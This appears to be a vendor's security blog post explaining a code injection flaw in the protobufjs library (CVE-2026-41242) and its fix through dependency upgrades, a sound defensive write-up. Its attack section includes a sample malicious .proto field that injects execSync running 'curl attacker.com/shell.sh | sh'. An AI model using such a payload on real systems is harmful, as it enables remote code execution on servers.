Back to Blog
critical SEVERITY7 min read

How arbitrary code execution via injected protobuf definition type fields happens in Node.js and how to fix it

A critical arbitrary code execution vulnerability (CVE-2026-41242) was discovered in protobufjs versions prior to 7.5.5 and 8.0.1, allowing attackers to inject malicious code through crafted protobuf definition type fields. The fix upgrades the dependency from the vulnerable version 6.11.4 to 7.5.5, which properly sanitizes type field inputs during protobuf parsing. This vulnerability is especially dangerous because protobufjs is widely used in Node.js applications for serialization, meaning a s

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

CVE-2026-41242 is a critical arbitrary code execution vulnerability in protobufjs (a Node.js Protocol Buffers library) caused by insufficient sanitization of type fields in protobuf definitions, mapped to CWE-94 (Code Injection). Attackers can craft malicious protobuf definitions with injected type field values that execute arbitrary code when parsed. The fix is to upgrade protobufjs from vulnerable versions (e.g., 6.11.4) to 7.5.5 or 8.0.1, which implement proper input validation on definition type fields.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code / Code Injection)
fixUpgrade protobufjs from 6.11.4 to 7.5.5 (or 8.0.1)
riskRemote attackers can execute arbitrary code on the server by supplying crafted protobuf definitions
languageJavaScript (Node.js)
root causeprotobufjs versions before 7.5.5/8.0.1 fail to sanitize type field values in protobuf definitions, allowing code injection during code generation
vulnerabilityArbitrary code execution via injected protobuf definition type fields

How Arbitrary Code Execution via Injected Protobuf Definition Type Fields Happens in Node.js and How to Fix It

Introduction

In a production Node.js application using @xenova/transformers and ONNX runtime (which depend on protobufjs for Protocol Buffers serialization), we discovered a critical arbitrary code execution vulnerability tracked as CVE-2026-41242. The vulnerable dependency, protobufjs version 6.11.4, was pinned in package-lock.json and served as the serialization backbone for model inference data.

The vulnerability exists in protobufjs's code generation pipeline — specifically in how it handles type field values within .proto definitions. When protobufjs generates JavaScript code from protobuf definitions, it interpolates type field names into generated code strings without adequate sanitization. An attacker who can influence the protobuf definitions being loaded (through user-uploaded .proto files, untrusted data sources, or supply chain attacks) can inject arbitrary JavaScript that executes during the parsing or code generation phase.

This matters for any Node.js developer using protobufjs — which includes anyone working with gRPC, ONNX models, TensorFlow.js, or any Protocol Buffers-based communication.

The Vulnerability Explained

Protocol Buffers (protobuf) is Google's language-neutral serialization format. The protobufjs library provides a pure JavaScript implementation for Node.js, including the ability to dynamically load .proto definition files and generate optimized encoder/decoder code at runtime.

The vulnerability lies in protobufjs's codegen module (@protobufjs/codegen). When processing protobuf message definitions, the library constructs JavaScript functions dynamically — essentially building code strings that include field type names. In version 6.11.4, these type field values were not properly sanitized before being interpolated into the generated code.

Here's the vulnerable dependency as it appeared in package-lock.json:

"node_modules/protobufjs": {
  "version": "6.11.4",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.4.tgz",
  "integrity": "sha512-5kQWPaJHi1WoCpjTGszzQ32PG2F4+wRY6BmAT4Vfw56Q2FZ4YZzK20xUYQH4YkfehY1e6QSICrJquM6xXZNcrw=="
}

How the Attack Works

Consider a scenario where the application processes protobuf definitions from an external source. An attacker crafts a malicious .proto file with a type field containing injected JavaScript:

message MaliciousMessage {
  optional foo.bar"; process.mainModule.require('child_process').execSync('curl attacker.com/shell.sh | sh'); // malicious_field = 1;
}

When protobufjs's codegen processes this definition, the type field value gets interpolated directly into a generated function body. The injected code breaks out of the string context and executes arbitrary commands — in this case, downloading and executing a reverse shell.

Real-World Impact for This Application

This application uses @xenova/transformers (version ^2.17.2) which depends on onnx-proto, which in turn requires protobufjs for parsing ONNX model files. The attack surface includes:

  1. Model loading: If the application loads ONNX models from user-provided sources or untrusted repositories, a crafted model file with malicious protobuf definitions could trigger code execution.
  2. Transitive dependency exploitation: Even if the application doesn't directly use protobufjs, the vulnerable version is loaded into the Node.js process and processes data during model inference initialization.
  3. Supply chain attacks: A compromised model or protobuf definition in a package registry could exploit this vulnerability in any downstream consumer.

The Fix

The fix involves two key changes to package-lock.json and package.json:

1. Adding a direct dependency on the patched version:

// package.json - Before
{
  "dependencies": {
    "@xenova/transformers": "^2.17.2",
    "axios": "^1.13.1",
    "dotenv": "^17.4.2",
    "openai": "^6.8.0"
  }
}

// package.json - After
{
  "dependencies": {
    "@xenova/transformers": "^2.17.2",
    "axios": "^1.13.1",
    "dotenv": "^17.4.2",
    "openai": "^6.8.0",
    "protobufjs": "^7.5.5"
  }
}

2. Upgrading the resolved version in package-lock.json:

// Before (vulnerable)
"node_modules/protobufjs": {
  "version": "6.11.4",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.4.tgz",
  "integrity": "sha512-5kQWPaJHi1WoCpjTGszzQ32PG2F4+wRY6BmAT4Vfw56Q2FZ4YZzK20xUYQH4YkfehY1e6QSICrJquM6xXZNcrw=="
}

// After (patched)
"node_modules/protobufjs": {
  "version": "7.5.5",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.5.tgz"
}

3. Isolating the legacy version for onnx-proto:

The fix also creates a nested node_modules resolution for onnx-proto, which still requires protobufjs ^6.8.8. This nested dependency gets version 6.11.6 (which also contains the patch):

"node_modules/onnx-proto/node_modules/protobufjs": {
  "version": "6.11.6",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.6.tgz",
  "integrity": "sha512-k8BHqgPBOtrlougZZqF2uUk5Z7bN8f0wj+3e8M3hvtSv0NBAz4VBy5f6R5Nxq/l+i7mRFTgNZb2trxqTpHNY/A==",
  "dependencies": {
    "@protobufjs/aspromise": "^1.1.2",
    "@protobufjs/base64": "^1.1.2",
    "@protobufjs/codegen": "^2.0.4",
    ...
  }
}

This approach ensures:
- The top-level protobufjs is the fully patched 7.5.5
- The onnx-proto sub-dependency uses 6.11.6 (patched within the 6.x line)
- No component in the dependency tree runs the vulnerable 6.11.4

Why This Fix Strategy Works

The core issue is that protobufjs 6.11.4's @protobufjs/codegen module constructs functions using string concatenation without escaping type field values. Version 7.5.5 (and 6.11.6 in the legacy line) adds proper sanitization that:

  1. Validates type field names against a strict allowlist of characters
  2. Escapes any special characters before interpolation into generated code
  3. Rejects definitions containing characters that could break out of the code generation context

By adding protobufjs as a direct dependency at ^7.5.5, npm's resolution algorithm ensures the patched version is used by default, while the nested resolution for onnx-proto provides backward compatibility with a patched 6.x version.

Prevention & Best Practices

  1. Pin and audit dependencies regularly: Use npm audit or tools like Trivy to catch known vulnerabilities in transitive dependencies. The vulnerable version was a transitive dependency — not directly declared — making it easy to miss.

  2. Never load untrusted .proto files: If your application processes protobuf definitions, treat them as code. Validate their source and integrity before loading.

  3. Use lockfile maintenance: Regularly update package-lock.json to pull in security patches. Automated tools like Dependabot or Orbis AppSec can handle this.

  4. Apply the principle of least privilege: Run Node.js applications with minimal system permissions so that even if code execution occurs, the blast radius is limited.

  5. Consider static protobuf compilation: Instead of loading .proto files at runtime, pre-compile them to static JavaScript modules during your build process. This eliminates the runtime codegen attack surface entirely.

  6. Monitor for prototype pollution and code injection in serialization libraries: Libraries that generate code from data (like protobufjs, handlebars, pug) are frequent targets for injection attacks.

Key Takeaways

  • Transitive dependencies are attack surface: The vulnerable protobufjs 6.11.4 was pulled in by onnx-proto@xenova/transformers, not directly declared. You must audit your entire dependency tree, not just direct dependencies.
  • Code generation from untrusted input is inherently dangerous: protobufjs's codegen module interpolates type field values into JavaScript function bodies — any library that generates code from data definitions needs rigorous input sanitization.
  • npm's nested resolution enables surgical fixes: By adding a direct dependency on protobufjs@^7.5.5 while allowing onnx-proto to resolve its own patched 6.11.6, both compatibility and security are maintained.
  • Version 6.11.4 specifically lacks type field sanitization in @protobufjs/codegen: If you see this exact version in any package-lock.json, it's vulnerable and must be upgraded.
  • ONNX model loading pipelines are an underappreciated attack vector: Applications using ML model inference in Node.js should treat model files with the same scrutiny as executable code.

How Orbis AppSec Detected This

  • Source: Protobuf definition type fields processed during ONNX model loading via @xenova/transformersonnx-protoprotobufjs
  • Sink: @protobufjs/codegen module's dynamic function generation in protobufjs@6.11.4, where type field values are interpolated into generated JavaScript code without sanitization
  • Missing control: No input validation or escaping of type field names before code generation string interpolation
  • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
  • Fix: Upgraded protobufjs from 6.11.4 to 7.5.5 (top-level) and ensured nested dependency resolves to patched 6.11.6, adding proper type field sanitization in the codegen pipeline

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-41242 demonstrates how a seemingly innocuous serialization library can become a critical attack vector when it generates code from data definitions without proper sanitization. The vulnerability in protobufjs affected any Node.js application in the dependency chain — from gRPC services to ML inference pipelines using ONNX models.

The fix was straightforward: upgrade to a patched version that sanitizes type field inputs before code generation. But the lesson is deeper — any library that constructs executable code from external data is a potential injection point. Audit your dependency trees, keep serialization libraries updated, and treat protobuf definitions with the same security scrutiny you'd apply to any code that runs in your process.

References

Frequently Asked Questions

What is arbitrary code execution via protobuf definition injection?

It's a vulnerability where an attacker crafts a malicious Protocol Buffers definition file (.proto) or message with specially crafted type field values that, when processed by protobufjs's code generation logic, result in arbitrary JavaScript code being executed on the server.

How do you prevent protobuf code injection in Node.js?

Keep protobufjs updated to version 7.5.5+ or 8.0.1+, never load untrusted .proto files, validate all protobuf definitions before processing, and use dependency scanning tools like Trivy to detect vulnerable versions.

What CWE is arbitrary code execution via code injection?

CWE-94 (Improper Control of Generation of Code, commonly called "Code Injection") covers vulnerabilities where an application constructs code using externally-influenced input without proper neutralization.

Is input validation alone enough to prevent protobuf code injection?

Input validation helps but is not sufficient on its own — the library itself must properly sanitize type fields during code generation. Upgrading to the patched version is the definitive fix since it addresses the root cause in the codegen pipeline.

Can static analysis detect protobuf code injection vulnerabilities?

Yes, tools like Trivy can detect known vulnerable versions of protobufjs through dependency scanning, and SAST tools can flag unsafe code generation patterns. However, detecting novel injection vectors in protobuf definitions requires specialized analysis of the library's internals.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #523

Related Articles

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How dependabot-missing-cooldown happens in GitHub Actions/Node.js and how to fix it

The repository's `.github/dependabot.yml` had no cooldown period configured, meaning Dependabot could immediately propose updates to newly published package versions with zero time for the community to flag malware or instability. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, forcing a 7-day waiting period before new releases are surfaced as update PRs.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.

critical

How Remote Code Execution Happens in Handlebars Template Compilation and How to Fix It

CVE-2026-33937 is a critical remote code execution vulnerability in Handlebars.js that allows attackers to execute arbitrary code by passing maliciously crafted Abstract Syntax Tree (AST) objects to the compile() function. The vulnerability was patched in version 4.7.9, and we've upgraded to protect against this threat vector.